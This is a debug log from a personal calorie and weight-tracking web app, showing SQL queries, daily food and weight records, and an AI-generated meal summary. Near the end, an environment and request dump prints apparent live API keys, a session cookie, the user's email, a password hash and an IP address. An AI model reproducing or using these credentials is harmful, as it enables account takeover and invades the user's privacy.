2025-12-24T03:48:54.364Z server-connect:output var_consumed: 15
2025-12-24T03:48:54.364Z server-connect:app Executing action step setvalue
2025-12-24T03:48:54.364Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-24T03:48:54.364Z server-connect:output var_deficit: 2040
2025-12-24T03:48:54.364Z server-connect:app Executing action step custom
2025-12-24T03:48:54.364Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-24T03:48:54.365Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '360',
    surplus_or_deficit: '2040',
    status_flag: 2
  }
]
2025-12-24T03:48:54.912Z server-connect:app Executing action step identify
2025-12-24T03:48:54.912Z server-connect:app options: { provider: 'security' }
2025-12-24T03:48:54.912Z server-connect:output identity: 1
2025-12-24T03:48:56.401Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-24T03:48:56.401Z server-connect:app Executing action step identify
2025-12-24T03:48:56.402Z server-connect:app options: { provider: 'security' }
2025-12-24T03:48:56.402Z server-connect:output identity: 1
2025-12-24T03:48:56.402Z server-connect:app Executing action step restrict
2025-12-24T03:48:56.402Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T03:48:56.402Z server-connect:output restrict: undefined
2025-12-24T03:48:56.402Z server-connect:app Executing action step select
2025-12-24T03:48:56.402Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-24T03:48:56.403Z server-connect:output items_consumed_today: [
  {
    id: 500,
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices'
  },
  {
    id: 501,
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop'
  },
  {
    id: 502,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)'
  },
  {
    id: 503,
    item_name: 'Poha (mixed with tomato, onion, matar)',
    calories: 200,
    protein_gm: 5,
    carbs_gm: 40,
    fat_gm: 3,
    quantity: '1 serving (approx. 150g cooked)'
  }
]
2025-12-24T03:48:56.403Z server-connect:app Executing action step paged
2025-12-24T03:48:56.403Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-24T03:48:56.405Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 19,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-23T18:30:00.000Z', weight: '69.70' },
    { date: '2025-12-21T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-20T18:30:00.000Z', weight: '69.80' },
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' }
  ]
}
2025-12-24T03:48:56.406Z server-connect:app Executing action step run
2025-12-24T03:48:56.406Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-24T03:48:56.407Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 500 | Jamfal (Guava) | 30 | 1 | 7 | 0 | 2 slices |\n' +
  '| 501 | Pre-workout supplement | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 502 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 503 | Poha (mixed with tomato, onion, matar) | 200 | 5 | 40 | 3 | 1 serving (approx. 150g cooked) |\n' +
  '\n'
2025-12-24T03:48:56.407Z server-connect:app Executing action step run
2025-12-24T03:48:56.407Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-24T03:48:56.408Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-23T18:30:00.000Z | 69.70 |\n' +
  '| 2025-12-21T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '\n'
2025-12-24T03:48:56.408Z server-connect:app Executing action step setvalue
2025-12-24T03:48:56.408Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-24T03:48:56.408Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 500 | Jamfal (Guava) | 30 | 1 | 7 | 0 | 2 slices |\n' +
  '| 501 | Pre-workout supplement | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 502 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 503 | Poha (mixed with tomato, onion, matar) | 200 | 5 | 40 | 3 | 1 serving (approx. 150g cooked) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-23T18:30:00.000Z | 69.70 |\n' +
  '| 2025-12-21T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '\n'
2025-12-24T03:48:56.408Z server-connect:app Executing action step processWithGemini
2025-12-24T03:48:56.408Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-24T03:48:58.089Z server-connect:output health_summary: {
  summary: "Today's nutrition shows a good start with protein intake, particularly from the whey supplement, which supports muscle development. The inclusion of guava is beneficial for micronutrients. However, the overall meal composition appears limited, potentially impacting sustained energy and recovery. Consistency in varied food choices will be key for optimal progress.",
  rating: 6,
  good_points: [
    'Adequate protein intake from whey supplement to support muscle development.',
    'Inclusion of fruit (guava) for micronutrients.',
    'Pre-workout supplement used to prepare for the gym session.'
  ],
  bad_points: [
    'Limited variety in food consumed, potentially lacking in essential nutrients and fiber.',
    'Meal composition seems to be heavily skewed towards carbohydrates and protein, with less emphasis on healthy fats and diverse vegetables.',
    'No clear indication of post-workout nutrition or other meals throughout the day.'
  ],
  suggestions: [
    'Incorporate a balanced meal post-workout to aid recovery and muscle repair.',
    'Add a source of healthy fats, such as nuts or seeds, to meals.',
    'Include a wider variety of vegetables and whole grains for increased fiber and micronutrient intake.',
    'Ensure consistent hydration throughout the day.'
  ],
  predicted_weight_trend: 'gradual decrease',
  predicted_weight: 69.5
}
2025-12-24T03:48:58.089Z server-connect:app Executing action step condition
2025-12-24T03:48:58.089Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-24T03:48:58.089Z server-connect:app Executing action step delete
2025-12-24T03:48:58.089Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-24T03:48:58.091Z server-connect:output delete: { affected: 1 }
2025-12-24T03:48:58.091Z server-connect:app Executing action step insert
2025-12-24T03:48:58.091Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-24T03:48:58.092Z server-connect:output insert: { affected: 1, identity: 61 }
2025-12-24T03:48:58.092Z server-connect:output condition: undefined
2025-12-24T03:48:58.364Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T03:48:58.365Z server-connect:app Executing action step identify
2025-12-24T03:48:58.365Z server-connect:app options: { provider: 'security' }
2025-12-24T03:48:58.365Z server-connect:output identity: 1
2025-12-24T03:48:58.365Z server-connect:app Executing action step restrict
2025-12-24T03:48:58.365Z server-connect:app options: { provider: 'security' }
2025-12-24T03:48:58.365Z server-connect:output restrict: undefined
2025-12-24T03:48:58.365Z server-connect:app Executing action step single
2025-12-24T03:48:58.365Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T03:48:58.366Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's nutrition shows a good start with protein intake, particularly from the whey supplement, which supports muscle development. The inclusion of guava is beneficial for micronutrients. However, the overall meal composition appears limited, potentially impacting sustained energy and recovery. Consistency in varied food choices will be key for optimal progress.",
    bad_points: [
      'Limited variety in food consumed, potentially lacking in essential nutrients and fiber.',
      'Meal composition seems to be heavily skewed towards carbohydrates and protein, with less emphasis on healthy fats and diverse vegetables.',
      'No clear indication of post-workout nutrition or other meals throughout the day.'
    ],
    good_points: [
      'Adequate protein intake from whey supplement to support muscle development.',
      'Inclusion of fruit (guava) for micronutrients.',
      'Pre-workout supplement used to prepare for the gym session.'
    ],
    suggestions: [
      'Incorporate a balanced meal post-workout to aid recovery and muscle repair.',
      'Add a source of healthy fats, such as nuts or seeds, to meals.',
      'Include a wider variety of vegetables and whole grains for increased fiber and micronutrient intake.',
      'Ensure consistent hydration throughout the day.'
    ],
    predicted_weight: 69.5,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-23T18:30:00.000Z'
}
2025-12-24T03:54:57.239Z server-connect:app Executing action step identify
2025-12-24T03:54:57.239Z server-connect:app options: { provider: 'security' }
2025-12-24T03:54:57.239Z server-connect:output identity: 1
2025-12-24T03:55:00.055Z server-connect:app Executing action step identify
2025-12-24T03:55:00.055Z server-connect:app options: { provider: 'security' }
2025-12-24T03:55:00.102Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-24T03:55:00.104Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-24T03:55:00.150Z server-connect:output identity: 1
2025-12-24T03:56:05.199Z server-connect:app Executing action step identify
2025-12-24T03:56:05.199Z server-connect:app options: { provider: 'security' }
2025-12-24T03:56:05.251Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-24T03:56:05.252Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-24T03:56:05.298Z server-connect:output identity: 1
2025-12-24T04:01:57.279Z server-connect:router Serving templateView /
2025-12-24T04:01:57.280Z server-connect:app Executing action step identify
2025-12-24T04:01:57.280Z server-connect:app options: { provider: 'security' }
2025-12-24T04:01:57.327Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-24T04:01:57.329Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-24T04:01:57.376Z server-connect:output identity: 1
2025-12-24T04:01:57.376Z server-connect:app Executing action step restrict
2025-12-24T04:01:57.376Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T04:01:57.376Z server-connect:output restrict: undefined
2025-12-24T04:01:57.377Z server-connect:app Executing action step restrict
2025-12-24T04:01:57.377Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T04:01:57.377Z server-connect:output restrict: undefined
2025-12-24T04:01:57.377Z server-connect:router Render template layouts/main
2025-12-24T04:01:57.378Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.279Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-24T04:01:58.226Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T04:01:58.227Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T04:01:58.227Z server-connect:app Executing action step identify
2025-12-24T04:01:58.227Z server-connect:app options: { provider: 'security' }
2025-12-24T04:01:58.227Z server-connect:output identity: 1
2025-12-24T04:01:58.227Z server-connect:app Executing action step restrict
2025-12-24T04:01:58.227Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T04:01:58.228Z server-connect:app Executing action step identify
2025-12-24T04:01:58.228Z server-connect:app options: { provider: 'security' }
2025-12-24T04:01:58.228Z server-connect:output identity: 1
2025-12-24T04:01:58.228Z server-connect:app Executing action step restrict
2025-12-24T04:01:58.228Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
